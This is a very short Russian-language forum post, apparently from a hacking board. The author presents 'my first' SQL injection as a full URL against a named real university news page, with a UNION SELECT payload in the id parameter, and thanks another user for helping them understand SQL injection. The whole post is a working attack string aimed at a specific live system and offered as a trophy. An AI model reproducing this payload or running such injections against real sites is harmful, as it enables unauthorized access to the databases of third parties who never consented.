Моя первая:
http://ehs.informatik.uni-oldenburg.de/de/news/fullview.php?id=-1+union+select+1,2,3,4,5,6/*


p.s.огромное спасибо Grey'ю за помощь.(помог разобраться в sql injection)